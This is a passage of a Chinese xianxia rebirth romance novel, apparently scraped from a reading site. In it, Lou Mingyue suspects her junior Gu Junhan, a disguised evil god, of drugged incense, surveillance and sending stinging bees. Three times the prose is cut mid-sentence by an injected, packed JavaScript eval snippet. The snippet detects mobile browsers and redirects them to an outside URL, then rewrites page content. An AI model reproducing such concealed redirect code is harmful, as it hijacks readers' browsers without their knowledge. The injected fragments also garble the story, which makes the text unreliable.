“新入内弟子都要参加集体夜猎,师姐既然如此看重我,我定不会给太清宫丢脸。” “只是……若我夺得魁首,师姐能否许我一样东西?” 楼明月迟疑了两秒,随即点了点头。 “夜猎得胜自是要赏的,我会去求师父开一次秘宝阁,届时你可任意挑选一件喜欢的宝物作奖赏。” 开秘宝阁是个好主意。 楼明月也想看看,堂堂邪神隐姓埋名在天翎,到底是不是贪图宫内至宝。 顾钧寒摇头拒绝了。 “不需要开秘宝阁。” “我不要别的,只求师姐把头上那支荷花簪子赏给我。” 楼明月闻言一愣,手不自觉往头上探去,一下就摸到了顾钧寒看中的那支。 她平日里装束都偏素雅,衣服不是灰蓝就是月白,首饰更是寥寥简明,唯有那支荷花玉簪惹眼些。 簪子小巧玲珑,玉质莹润通透,雕作一朵初绽之态的白荷,只在花瓣尖端晕开一抹清透粉意。 楼明月面上神情费解,盯着他的眼睛,怎么也勘不破他的心思。 放着秘宝阁里的宝物不要,非要一支旧簪子做什么? 别是挖了个坑等着她跳吧? “不值钱的东西,你要它做什么?” 这支簪子的来处她已经记不清了,在她斑驳的记忆里,好像在很久以前,它就悄无声息地躺在自己的首饰盒里了。 当真是个旧玩意儿,一下子牵扯到了许多年前的回忆。 她摇了摇头,想的脑袋疼。 “算了,一个小玩意儿而已,你想要就给你吧。” 楼明月随随便便就应了他,心里不是很在乎这支玉簪。 他听了又不高兴了,指尖掐紧了掌心,一个人生着闷气。 楼明月光知道他在生气,却捉摸不透他因何气恼。 她无奈地叹了口气。 十七岁的顾钧寒,真够磨人的。 * 夜色融融,沉香静燃。 楼明月不是多梦之人,重生回来后身体却格外异常。 最初只是在雨声淅沥的日子做些噩梦,梦到上辈子的人和事。如今风清月朗,她竟前所未有地做起了“春梦”。 梦里她倒在榻上,发丝凌乱,外裳被人揉成一团扔在塌下,只留下松垮的薄衫和心衣。 不知方经历了什么,浑身瘫软,指尖连动一下都费劲。 一双冰凉的手蓦然贴在她腰间,隔着一层轻衫,触动着她最敏感的地方。 一道人影压了下来,遮住了她所有的光线。他俯身吻在她柔软的颈间,喘息声很重,动作却轻柔小心。 楼明月浑身一颤,艰难抬眼,还未看清他的容貌,先迎来一滴灼泪。 眼泪从空而坠,滴落在她眼尾。她意识清醒了几分,看清了这人的容貌。 骨相分明,目若寒星。 怎么…是他避之不及的顾钧寒呢? 楼明月这么想着,想推开他起身而逃,却控住不了梦中自己的行为。 她的手覆在他脸侧,指腹温柔地替他拂去了眼泪。 楼明月觉得,梦里的自己大概是疯了。 不杀了这个登徒子就算了,竟然还伸出双臂,主动揽住了他的脖颈,任由他荒唐一场。 她透过对方那双明眸,看到自己脸上的神情,竟是没有一丝不情愿。 红晕的脸颊,润如春水的双眸,全是沉溺在这场旖旎中的动情模样。 简直是…疯了…… 这才是她的噩梦吧! 荒唐又离奇的噩梦! 顾钧寒十分满意她的迎合,心头郁气顿散,眉宇间的阴翳悄然化开,唇角漾开一抹真切的笑意。 他凑在她耳畔,低喃了一句话。 “师姐…要永远记得我……” 她实在接受不了这荒唐的场景,违逆梦中自己的动作,强行阖眼,意识在几经浑噩后终于落定。 她提着一口气,紧张地睁开眼。 屋顶是自己熟悉的模样,床榻整齐,身上的衣物也都完好无缺…… 终于松了口气,从榻上坐了起来,脑中回忆着方才那个荒唐梦。 她睁大了双眼,呆呆地在床上愣了许久。面上看着平静,内心已然崩塌。 楼明月不能接受自己会做这种梦。 两辈子以来第一次做春梦,春梦的对象竟然还是她最讨厌的顾钧寒? 这根本就不合理! 上辈子,她也不是没和顾钧寒做过这档事,只是没有一次是心甘情愿的。 他身份暴露,两人从摘星崖上掉下去的那个雨天,命运眷顾,教他们苟且活了下来。 她被顾钧寒掳到了邪殿,被迫做了十一年的“神后”。 那十一年里,他日日指着她能想起什么,可殿使说,太晚了。 她识海中的三寸伏心树已经固化,但凡早个三五年逼它显形,都且有机会根除树种。 可惜…太晚了。 她身上带着那棵对他充满芥蒂的伏心树,注定不能与之厮守。 楼明月不懂他的疯癫,只是眼神坚定,很绝情地告诉他: “就算我忘了那些无关紧要的事情又如何?我和你相处了八年又十年,你是什么样的人我早就清楚,我这辈子也不会喜欢你———” 大概就是这句大实话刺激到了他,让他对自己唯一一点儿敬意也没了。 他开始以下犯上,就连在她面前也不装了,里里外外彻底成了个恶徒。 再后来,他手下的势力反水,联 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17059037|194965||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 合玉京的修仙大宗里应外合,一举攻破了无归海邪殿。 那日,顾钧寒死在她眼前。 温热的血液流至她脚下,她看着地上那具尸体,心脏猛地一颤。 心中有什么异样一闪而过,她失神地看着,就连自己落了泪都没意识到。 周漾察觉到她的异样,关切地问她怎么了。她摇了摇头,声音有些沙哑。 “许是太久没见阳光了。” 天穹久覆的阴云,终是尽数散开,她心里却留下了一根刺。 离开邪殿后,她时常会记起顾钧寒。 有时他会买醉,借着酒劲不甘心地抱住自己哭诉,哭她为什么忘了自己。 她想起他通红的眼眶,想起他脆弱破碎的神情,总不禁开始怀疑自己。 记不记得,差别有那么大吗? 以前的楼明月和现在的楼明月究竟有什么区别? 她真的喜欢顾钧寒吗? 她会怪我杀了她的挚爱吗? …… 顾钧寒死后没多久,寻仇的人潜入了昆吾山,趁其不备一剑捅入她心脏。 胸膛股股涌出的血,和那日一样腥红刺眼,她心底的那根刺消失了。 楼明月反倒觉得解脱了。 濒死前的那几秒,脑中有一个声音响起,悉数回答了她的疑问。 她说,有区别。 她说,喜欢。 她说,会。 …… 再睁眼,她就回到了沧澜十七年。 带着这份回答,她决心要解开自己被封印的记忆。 房门“吱呀”一声被打开了,门外是迷糊到连眼睛都睁不开、动作慌慌张张的陆南星。 “师姐,我听到你房内有声音,是不是身体不舒服啊?” 楼明月低头,看了眼被自己分神打碎的灯盏。 “没什么,你回去吧。” 他揉了揉困倦的眼睛,没忍住打了几个哈欠。 殿外传来一阵打更声,已是寅时,再过两个时辰就要到早修的时候了。 陆南星听清了更声,突然笑道: “大师兄说师姐最近睡眠不好,夜里总要醒个三五番,我昨天这香真是点对了!师姐今天就醒了一次呢!” 香? 楼明月嗅了嗅,瞳孔猛地一缩,面上神情凝重。 不对! 香不对!! 她目光犀利地看向角落里的香炉,“你燃的是什么香?!” 陆南星霎时睁大了眼睛,被吓得睡意全无。 他脑袋一片空白,愣了两秒才道:“顾、顾师哥给的安神香啊……” 她咬牙,她就知道自己不会无端做这种梦! 这一世的顾钧寒太不像话,简直是演都不演了! “顾钧寒现在在哪儿?让他给我滚过来!” 楼明月罕见地动了怒。 陆南星不敢忤逆,转身就要去翠微山寻人。 他忽然想到什么,又折转回来,跪在地上颤颤巍巍道:“顾师哥…他人定之后就去大邙山参加集体夜猎了,眼下鼓声未鸣,应该还在大邙山夜猎。” “师姐,要、要不要我去找周师兄,先暂停夜猎?” “你说他在大邙山夜猎?”楼明月疑惑道。 如果他在大邙山夜猎,那自己这梦是怎么回事? 入梦术,必得有人主导才能进行。 楼明月摇了摇头,“罢了,你不用去了,明日早修我亲自问他。” 她看向角落里的香炉,眉头紧皱道:“把这香…连炉子一起扔掉!” 陆南星立马照做,将香炉抱走。 她看着面前老实憨厚,被吼后眼眶通红的少年,低声宽慰道:“我没有怪你的意思。” “你是我的近侍,要有自己的主见,以后不要什么都听别人的了。” 陆南星愧疚地低下头。 “师姐对不起,我知道错了。” “顾师哥之前教我的都很受用,我看合师姐的心意,后面就什么都照他说的做了……” 楼明月闻言神色一僵。 “他还教你什么了?” 陆南星想了想,掰着指头数道: “师姐喜欢红花茶,泡茶时一定要用无羁山的灵泉水;每日午后要给师姐准备点心,食中切记不可掺杂杏仁;师姐四更时好起夜,记得在床头温好一杯水……” 陆南星滔滔不绝地报着,听得她脸色煞白。 这些习惯,和她相处多年的顾钧寒或许知道。 但十七岁,刚刚成为内山弟子的顾钧寒,怎么会知道? 若真是十七岁的顾钧寒,怎么可能知道的如此之多? 除非……他也重生了。 4. 第 4 章 大邙山的集体夜猎,汇聚了三宫所有新入内弟子。 参加夜猎者共有二十一人,从亥时人定开赛,到现在已经过去了足足四个时辰。 楼明月同顾钧寒约定的早修在辰时一刻,她以为对方赛了一夜,今早必会告假。 不成想,他还是来的这般早。 她刚一推殿门,就看到了等在栾树下的顾钧寒。 他双臂环胸斜倚树干,唇角叼着一根狗尾草,绒絮在风里晃荡,显出少年漫不经心的桀骜。 整个人悠闲惬意,除了眼下的些许青乌,看上去精神十足,不像是折腾了一夜的人。 听到声响后他立马正身,吐掉了嘴里的狗尾草,眉眼一弯看向楼明月,笑得格外灿烂。 “师姐,昨日的夜猎我赢了——” 难怪这般兴奋,原是找她讨赏的。 与顾钧寒相比,楼明月的脸色才差得像一夜未眠的人。 面上惨白到毫无血色,明明十分勉强,还是要挤出两分笑意陪他演戏。 “我知道,我的簪子昨日就已经给你了,眼下实在没什么赏的了。” 顾钧寒默而不语地朝她走近,逾矩地伸出手,触在她额头。 楼明月整个人愣住,一颗心瞬间提到了嗓子眼。 他……这是什么意思? 上辈子好歹演了八年,这辈子进入内山才几天就不装了? 楼明月想呵斥他,干涩的嗓音卡在喉咙里,半天也吐不出一个完整的字。 她还没有搞清楚,面前这个顾钧寒究竟是不是和她一样重生回来的人 如果是十七岁的顾钧寒,自己和他人生的交集还不深,尚可以陌生的态度强硬疏远他。 可…如果是上辈子的顾钧寒呢? 如果是跟她纠缠了近二十年,最后死在她手里的顾钧寒呢? 她还没有找回另一半的楼明月,那个楼明月惹下的怨孽就来要债了…… 部分记忆被封印的楼明月,永远都不认为自己是完整的,是能够专断决定这一切的人。 上辈子濒死前的那几秒,比窒息和死亡更可怕的,是另一个自己释放出的悲凄和心痛。 如果“她”在乎他,那在自己动手伤他之前,总要搞搞清楚,“她”究竟为什么会在乎一个邪物? 一个离经叛道,恶得不折不扣的邪…… “师姐,你看起来像是病了。” 他手背试量着温度,眉头紧皱地盯着楼明月那张煞白的脸。 楼明月闻言松下一口气,一把拍掉了他的手,不动声色地转身向正殿走。 她道:“那不是你该关心的事情。” 顾钧寒闻言眸光稍暗,磨了磨齿间,快步跟在她身后,略有不甘道: “是,我知道照顾师姐是陆南星的差事,可他为人蠢笨木讷,根本不会照顾人,更别提琢磨师姐的喜恶!” 楼明月越走越快,知道他要说什么,但根本不想听他胡诌乱扯。 他最终停步,在她身后大喊一声。 “师姐!你那日就不该选他——” “那我该选谁?”她没忍住回怼,想起昨夜的事情,声音中裹着几分怒气。 “顾师弟以为,我该选谁?” 她转身,眼神犀利地盯着顾钧寒。 “这世上,总不会有人从第一天起就了解我的喜恶,然后什么都做的滴水不漏。” “如果真有这样的人,试问…他是大罗菩萨通了天,还是上辈子就跟在我身后殷勤伺候了?” 顾钧寒站在玉阶下,低垂着脑袋,额前几缕碎发挡住了他晦暗的神色。 楼明月听见他轻轻笑了一声,随即仰起脖子,面上神情坦然,毫无破绽。 “师姐的比喻真新鲜,我还是第一次听到这样的说法。” “不过…我倒觉得,只要在乎一个人,了解她是最轻而易举的事情。” 他勾了勾唇,眼底跃起一簇光亮。 “如果那日师姐选的是我,我会把师姐的一切都放在心尖上,做事自然能滴水不漏……” 楼明月闻言冷笑一声,眼中不带一丝情绪。 “你是师父看重的人,不必说这些胡话。” 顾钧寒看着她这副冷脸疏远的模样,在心底无奈地叹了一口气。 了解一个人不难,靠近一个人…可就难的多了。 气氛凝滞之际,一个高大的身影无声无息地蹿上了昆吾山。 远远看见两人的身影,立刻挥手大喊:“明月!小师弟!” 楼明月循声看去,看到了满脸兴奋的周漾。 他走近,一巴掌拍在顾钧寒肩膀上,“你小子,我就知道你在这儿!” “昆吾山的风水就那么好啊?何教你比了一夜,觉都不睡就往这儿跑!” 楼明月见他微微颔首:“二哥。” 顾钧寒眉头微蹙,面上虽有些不悦,却也随着楼明月叫了一句二哥。 周漾听后乐了,睁大了眼睛,一副看稀奇的神情看着他。 “昨天让你叫我一句师兄都不肯,原来…是想跟我更近乎些啊!” 周漾倍感荣光,自顾自道: “叫吧叫吧!你是门内最小的师弟,二哥还能不应你吗?” 顾钧寒除了“师姐”二字叫得殷勤,其他的吐出一个字都尤为艰难。 楼明月记得,上辈子在山门的顾钧寒也是这样。他不爱与旁人交流,太清宫内四个师兄师姐,他几乎没和另外三人有过交际。 实在有要紧事,就扯扯她的衣袖,让她代为传话。 楼明月看着他青涩又单纯无害的面庞,觉得他年纪小便回回都应了他。 现在想来,他对别人张不开口,大概只是觉得屈辱。 邪神从来都看不上太清宫,对宫主如此,更别提她另外三个师兄妹了。 如今嘛…… 真不知道他葫芦里卖的什么药。 “二哥,你是来寻他回翠微山的?”楼明月问道。 周漾摇摇头,脸上意味不明地笑着,举了举胳膊另问道: “小明月,你看看我…有没有觉得二哥最近变得魁梧了?” 楼明月坦言:“没有” 周漾一脸心痛,找补道:“那定是你见我见的太频繁了,自然察觉不出我浑身上下惊人的变化!” 楼明月看着他这副贱兮兮的模样,实在太熟悉了,不用猜也知道是为谁。 她直白道:“二哥,温珒怀不会因为你身材魁梧就回心转意的。” 周漾:…… 她拆台拆的太精准,让周漾一口气哽在喉咙里,差点儿没别过来。 他气道:“我知道她没那么肤浅,我也没那么肤浅好吗!” “我闭关了半年,如今已是修为大增!如果能在鬼沼山试炼的时候来个英雄救美……” “鬼沼山?” 楼明月闻言眉头微蹙。 “原来你打的是这个主意。” 大邙山夜猎,只是每个内山弟子迈出的第一步;这第二步,就是前往鬼沼山进行试炼,夺得机缘。 作为新入内弟子的顾钧寒,在前往鬼沼山时可以选择两位师兄师姐同往。 玄英宫必然会有人请动掌灯弟子温珒怀,周漾便来顾钧寒这儿讨要一个名额,希望能和她碰上面。 楼明月意味深长地重复道: “英雄救美……” 温珒怀的修为不在他之下,正常情况下是用不着周漾出手去救的。 以楼明月对周漾的了解,他大概是想让自己和他联手,专门设计出一场英雄救美的戏码。 “你要故意坑害她再英雄救美,此事若是暴露了,师父还做不做人了?” 他鬼哭狼嚎为人赘婿的那两个月,师父就已经抬不起头了。 周漾冲她挑挑眉,满脸自信道: “你放心,我若成了,师父一定会祝福我的!” 祝福? 师父若知道他还贼心不死,惦记玄英宫的人,一定一棒子给他抡个半死。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17059038|194965||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>楼明月不想打击他,以周漾的厚脸皮程度,打击了也没用。 她看向顾钧寒,语气平静道: “你不必理会,终归是你自己的试炼,要找谁都由你自己说了算。” 顾钧寒勾了勾唇,低声道:“既然二哥有心帮我,我自然愿意。” 周漾闻言高兴得不行,激动地拍了拍他的肩膀,直夸他有眼光。 楼明月眉头一挑,难以置信。 真选了周漾,他忙着去温珒怀面前显眼都不够,怎么会帮他试炼? 哦,对了。 人家是邪神,用得着谁帮忙? “随便你。你既一夜未眠,今日的修训便免了,明早再来吧。” 楼明月动身要走,却被顾钧寒伸手拦了下来。 “我有礼物要送给师姐。”他道。 她闻言微愣,疑惑地看着他。 顾钧寒从怀中掏出一枚妖丹,掌心朝上呈给了楼明月。 周漾定睛一看,惊道:“这不是你昨夜斩杀的那只幽夜梦的吗?” 幽夜梦是一种特殊的妖兽,生长在大邙山的深处,天生喜眠多梦,行迹隐蔽,聪明狡诈。 “师姐近来总睡不好,实在有损心脾。用幽夜梦燃香,定能解师姐的梦魇。” 楼明月出神地看着他手中的那枚浅紫色妖丹,一下子就想到了自己的妖丹,视线不禁往他胸口移去。 她的妖丹,到底为什么会出现在顾钧寒身上? 两辈子了,也没个定论。 “既然要送,不如送个我喜欢的。” “幽夜梦你自己留着吧,我更喜欢你脖子上挂着的那颗。” 周漾闻言也来了兴致,“你身上还有更高等的妖丹?究竟是什么妖丹,竟然连明月都想要?” 顾钧寒什么也没说,将最里面贴身的吊坠小心翼翼地扯了出来。 一颗浅蓝光芒的妖丹映入眼帘。 丹体盈寸,凝如暖玉,葳蕤生光,是对妖丹的最高评价。 顾钧寒脖颈上戴的这一颗,尽是占全了。光看色泽和丹纹就知道其珍贵罕见的程度。 周漾见状咂舌:“明月,你要这个是不是有点儿过了?” 楼明月气得咬牙。 过什么过? 这本来就是她的东西!! 顾钧寒人畜无害地笑着,面对她翻涌激烈的情绪,全当做不懂。 “师姐要什么我都愿意亲手奉上,唯独这个不行。” 他扬了扬唇角,刻意放慢了语速,带着股炫耀的意味:“这个,可是别人送我的定情信物,给不得。” 鬼来的定情信物!! 楼明月简直快气炸了。 是哪个缺德的人拿着自己的妖丹去定情的?! 等她记起来,非灭了他不可! 周漾挑眉:“定情信物?” “现在的年轻人都流行这么定情啊?” 他盯着妖丹若有所思,随即眉头一扬,满脸期待地问道:“你说我要是送给温珒怀一枚……” 楼明月:“她不会要。” 周漾:“……” 他点点头:“你说得对,她不是一个物质的女人!” 楼明月虽然眼红,却也知道现在不是时机。 她接过了那颗幽夜梦,眼里心里、想的念的全是自己的妖丹。 顾钧寒见状笑道:“师姐既收了我的礼,那过两日的鬼沼山,能否陪我一同前往?” 好小子,原来套下在这儿。 周漾为了达成自己“英雄救美”的戏码,也很希望她去鬼沼山。 自然就成了顾钧寒的说客。 只是超乎他意料的是,楼明月没有犹豫,一口应了下来。 顾钧寒非要搭这个“戏台子”,周漾有一出戏要演,她也有一出戏想演。 鬼沼山的试炼危险程度很高,重伤昏迷都是常态,不若就趁此时机取走顾钧寒的心头血和自己的妖丹。 她体内的伏心树,是时候该显形了。 5. 第 5 章 昆吾山正殿两侧檀门尽敞,屋外霜林覆上橙黄,秋风穿叶而过,簌簌落满了庭前。 风中隐隐传来几声细碎的泣音,但很快又被枝间的雀鸣声压了下来。 几人对此并未当回事儿,只当今日风紧,呼啸声凄厉了些。 楼明月站在殿中央,紧紧盯着顾钧寒远去的背影。 直到那道身影彻底消失在视野之中,她才放心下来。 周漾双手环抱,看着她这副模样,调侃道:“怎么?新来的小师弟这么快就把你的魂勾走了?” 楼明月冷哼一声,丝毫笑不出来。 “二哥,不是谁都跟你一样痴迷情爱的。” 他拱手谦虚道:“过奖过奖。” “本人虽算不上博学,但在男欢女爱这些事上也算是老手!” 他压下声音神秘道:“我啊,看得出来,那师弟是真心喜欢你的。” 楼明月撇了他一眼,毫不留情道:“那你去三圣山治治眼睛吧,诊疗费由我来出。” 周漾:“……”不说了行吧 取心头血这件事,楼明月思来想去,还是决定跟周漾坦白。 要坦白这件事,势必要牵扯出自己体内的三寸伏心树。 楼明月不怕他知道,这世上最不可能给自己种下伏心种的人就是周漾了。 毕竟…… 他这人最痛斥的就是封心锁爱。 大师兄贺玄音是个“师管严”,告诉他没两秒,此事师父就会知道的一清二楚;小师妹茯苓性格软藏不住事,任谁一问就松了口。 而周漾,他虽然看起来不靠谱,口碑也一般,在大事上却从不掉链子。 很多时候,楼明月觉得他的那些不靠谱,都只是在装傻。 一言不发,默而不语的时候,才是他自己。 楼明月刚想开口,周漾却神情惊恐地盯着自己身后。 “…诶呦我的妈呀!你这昆吾山什么时候蹿上来个怪物!!” 怪物? 楼明月疑惑地回头望去,门前站着一个人影,就是…不太像正常的人形。 他浑身上下长满了红色水疱,眼睛和嘴唇高肿,已经辨不出原本的面貌。最怪异的是肩膀,一高一低,右肩头不知长了什么,得有半个头那么大。 听到周漾的话后,他身子一抽一抽的,传来一阵呜咽的哭声。 楼明月的视线落在他破烂不堪的衣衫上,瞳孔微缩,难以置信地开口。 “南星?” “是…是你吗?” 周漾一脸疑惑:“谁?” 对方忍着疼痛,艰难地点了点头。 楼明月连忙跑了过去,目瞪口呆地看着他身上的水疱。 她不敢相信,明明两个时辰前还好好的人,怎么突然就成了这副模样? 他来昆吾山还不到一个月,在摘星崖摔断的胳膊才刚刚好,现在又变得满身水疱,不成人样。 “你这回又去哪儿了?”她问。 陆南星闻言十分委屈,眼泪像断了线的珠子般滚落,泪水滑过的地方传来一阵灼烧感,肿的更加厉害了。 “师姐…我这回哪儿也没去呜呜呜呜呜呜呜——” “我就在、就在小厨房熬粥,一群蜜蜂突然冲进来就蛰我……我怎么跑都没用……” 周漾走近,啧啧两声道:“看这伤口,应该是殷墟九炎蜂。” “你知不知道殷墟山离这儿有多远?它们好端端的怎么会不辞千里地飞过来蛰你?” 他厉声质问道:“你老实说,是不是手痒去掏人家窝了?” 陆南星抽噎着摇头,眼睛被红肿的水疱挤压,只能模模糊糊地看到人影,对着空气一顿解释。 “师姐,我真的没有……” 楼明月拉住他的胳膊:“你伤的太重了,我先带你去三圣山找茯苓吧。” 他闻言一愣,“师姐,茯苓是祛湿的,我这个怎么也得上金疮药吧……” “……” “……” 周漾噗嗤一声笑了出来。 楼明月无奈道:“我说的是你的二师姐,三圣山的医修,茯苓。” 天翎宗内分设三宫,三宫各自掌管自己负责的山群。 但唯有两座山是例外。 一座叫獬豸山,住着审理宗门的稽查司。 一座叫三圣山,三宫环绕,灵草茂盛,汇聚着宗门里所有的医修弟子。 茯苓自小在三圣山修习医术,她的师父是三圣山的掌教拂雪,名义上不算是太清宫的内山弟子。 但她的母亲是太清宫的宫主——楼溪滕。有着这层关系在,众人基本上都将她视作内山弟子。 只是这对母女关系特殊。 楼溪滕因着厌恶茯苓的生父,连带着也厌恶茯苓,所以把她扔在三圣山上,后来成了掌教拂雪的弟子。 外人少有机会知道茯苓,刚入山门的陆南星也一样。 如今他第一次踏足三圣山,竟是以一个肿胀的“猪头”形态,实在太过丢脸。 这一路上有不少白衣弟子抱着药盒子往来,凡是看到他的都频频驻足,连自己要迟到的午课都顾不上了。 楼明月见他缩着身子,低声安慰道:“没事,她们认不出你,我也不会告诉她们你是谁的。” 陆南星苦着一张脸,老实地跟在她身后。 踏过云阶,迈步内庭后,陆南星鼻间嗅了嗅,闻到一股凛冽的草药味儿,身上的灼烧感也降了降。 湛蓝衣裙的小姑娘蹲在地上,双手攥着一把铲子,一下一下的刨挖,正在卖力地给药圃松土。 “茯苓——” 周漾先唤了她一声。 她听到熟悉的声音后怔了一秒,随即放下铲子,没好气道:“怎么?你又想来我这儿偷草药出去卖啊?” 她站起身,拍了拍衣裙上的尘土,边骂边道: “我告诉你,你偷我的每一株草药我可都记……明月?!” 茯苓看清人后立马换了一副面孔,眉梢扬起,迫不及待地跑过去抱住她。 “你来看我啦!”她欣喜道。 楼明月摸了摸她的脑袋,“是来看你,也是来找你帮我治个病人。” 茯苓闻言从她身上起来,眸光一偏,这才瞧见躲在她后头的陆南星。 她倒没有惧怕,盯着他的伤口仔细观察了两秒,“殷墟九炎蜂……” 茯苓托着下巴,好奇道:“九炎蜂虽然毒性强,可是性情一向温和,你是做什么了,竟把它们逼得如此残暴?” 陆南星有口难言,百口莫辩。 他真的什么都没做。 自己只是在小厨房煮了一锅普普通通的白粥而已,糖和蜜都没放,到底哪里惹到了那群九炎蜂? “好啦好啦,包在我身上!” 她二话不说,拽着陆南星进了房内。掏出自己的一套银针,用炉火烧过一遍后,开始下针放毒。 周漾和楼明月站在门外,听着屋里传来阵阵惨叫声。 周漾双手抱胸,倚在门框上悠哉地问道:“前几天…从摘星崖上掉下来的那小子也是他?” 楼明月点了点头。 他闻言乐了,“你这昆吾山是和他八字犯冲吧,他怎么能倒霉成这样?” 楼明月叹了一口气。 她心底已经隐隐有一个答案,指向了顾钧寒。 邪神天生能与毒虫蛇蚁沟通,操控它们也不是什么难事。 上辈子……好像也是这样吧? 少微宫有个外门弟子,急着上擂台不小心冲撞了她,倒地时一只手撑着,一只手无意放在她肩膀。 楼明月没有在意,只让他下次不要再这么莽撞。 顾钧寒当即沉了脸色,借着擂台赛折了他的腕骨,事后也是被毒蜂蛰了满身水疱。 至于陆南星肿得有半个人头高、被毒蜂多次攻击的右肩。楼明月猛然想起来,自己五更醒来安慰他的时候,好像是拍了拍他的肩膀。 如果他连自己拍过陆南星的肩膀都知道,那不就意味着…自己被监视了? 她想起他说的话: “不过…我倒觉得,只要在乎一个人,了解她是最轻而易举的事情。” 难怪轻而易举,原来是靠监视!! 她在心里后怕,幸好自己还没把取心头血的事情说出来。 否则让他知道了怎么得了? 这些日子桩桩件件下来,不狠狠揍他一顿,都难消自己心头之气! 于是,楼明月将陆南星暂时安置在了三圣山,拜托茯苓代为照顾。 她先是回到了昆吾山,双手翻覆间汇灵施法,设下一罩濯缨结界。 白光如练,从指尖迸发直冲碧空云海,须臾间覆盖了整座昆吾山。 结界凝聚时隐现清光冷辉,所有受附元术操控的蜂虫都被一一碾灭。 另一边的顾钧寒。 他在众弟子云集的食斋猛然吐出一口血,被反噬成了重伤。 众人见此目瞪口呆,看着他身上黑红的血迹,纷纷扔掉了筷子,惊恐大喊道“饭里有毒!” 食斋爆发了一阵骚乱,没过几秒人就都跑得没影了。 负责今日餐食的蒯厨子出来一看,两眼一黑,连忙要带他去三圣山。 顾钧寒拒绝了,站起身朝昆吾山的方向看去,那罩白光在他黝黑的眸中一闪而去,他瞬间明了一切。 “顾师弟。” 身后传来一道清冽的声音,顾钧寒身子一僵,迟迟不敢回头。 被拒绝的蒯厨子认出了来者,连忙俯身恭敬道:“楼掌灯安好,您今日是来用膳的吗?” 楼明月摇了摇头:“我是专门来找我师弟的。” 顾钧寒抬臂,连忙擦去嘴角淋漓的血迹。乌黑墨青的衣袖上,顿时沾染了一片浓稠腥红的血污,被他攥在掌心,藏在身后。 他擦得极其用力,脸上难免留下些红印子。怕被她看出异样,转过身时也不敢完全抬头。 素日嚣张秾艳的眉眼,第一次这样低垂,安静得像只抿唇耷眼的狐狸,仿佛被人一盆水泼灭了气焰。 真是难得见他心虚一回。 他佯装镇定地问道: “师姐突然找我,是有什么事吗?” 楼明月缄默不语,水眸微垂,似笑非笑地凝望着,眸光清浅难辨。 她敏锐地发现了他身上的几处血迹,心道果不其然。 不过她并没有打算和他撕破脸,走上辈子的老路。 只是莞尔一笑,面上换了个说辞:“鬼沼山的试炼很危险,我想在你出发前陪你打一场,也好教你有个准备。” 他双眼微睁,有些意料之外。 “师姐是要……跟我打一场?” “是。” 楼明月召出了自己的玉棍,诱骗道:“你不用害怕,我自会点到为止。” 他轻笑一声,眼尾扬起一抹弧度,已经隐隐猜到几分她的心思。 她根本不是要切磋,而是找了个借口要揍他一顿出气。 明知自己要挨打,他心里却还是觉得高兴,没有过多犹豫就应了下来。 大概是因为…… 他喜欢这样有生气 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17059039|194965||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的师姐。 打也好,骂也好,只要不是像从前那样对他视若无睹的麻木、客气冷漠的疏离,一切就还有机会…… 两人在昆吾山的风竹林开打。 碧青竹叶哗哗落了满天,玉棍扫去惊飞满山云雀。 她内力化掌,风起刹那折断了数根粗壮老竹,竹子以顾钧寒为中心纷纷倒塌,错落有致、层层密布成一座牢笼,将他围困其中左右难退。 顾钧寒分出的几缕元魂都被绞灭,重伤之下自然不是对手。 没几个回合就被揍得鼻青脸肿,内息紊乱。 知道她要出气,有些时候甚至刻意不躲,直直往她玉棍上撞。 楼明月没料到这一点,没收住自己的力道,擦着他的命脉而过,一不小心将他打得吐血。 鲜红的血液将他苍白唇色染成了殷绯,像是刻意涂了唇脂般刺眼。双眼有些涣散,纤长睫毛随着紊乱的呼吸颤动,好像随时都会失去意识昏倒。 这个人,明明已是命悬一线,眉宇间却还扬着几分狡黠的笑意。 他坐在地上,身子后仰双手撑地,笑着看向身前的楼明月。 “师姐打的这样认真,看来鬼沼山是个险地呢……” 说出来的话总是那么欠揍。 可毕竟揍过了,楼明月看着他这副惨状,心里不再与其计较。 “是我出手重了,抱歉。” 楼明月走近,轻微俯身向他伸出搀扶的手。 坐在地上的顾钧寒眼神微怔,反应过来后将手放在身上擦了擦,拭尽了尘土脏污,才敢小心翼翼地握住她。 灼热的温度从他掌心传来,她仿佛能感受到他皮肤之下血液的流动。和上辈子一样,调动着她平静的情绪,让她从心底涌起一股动手的冲动。 她在对方起身后便立即松手,压下伏心树力量的操控。 “天色已晚,你今夜就宿在昆吾山的偏殿吧。” * 昆吾山的偏殿周围有很多萤虫,白天藏在草丛里,夜里慢慢扑闪着翅膀飞出。 在浓浓夜色中,燃起星星点点的萤光,与天上的清月辉映。 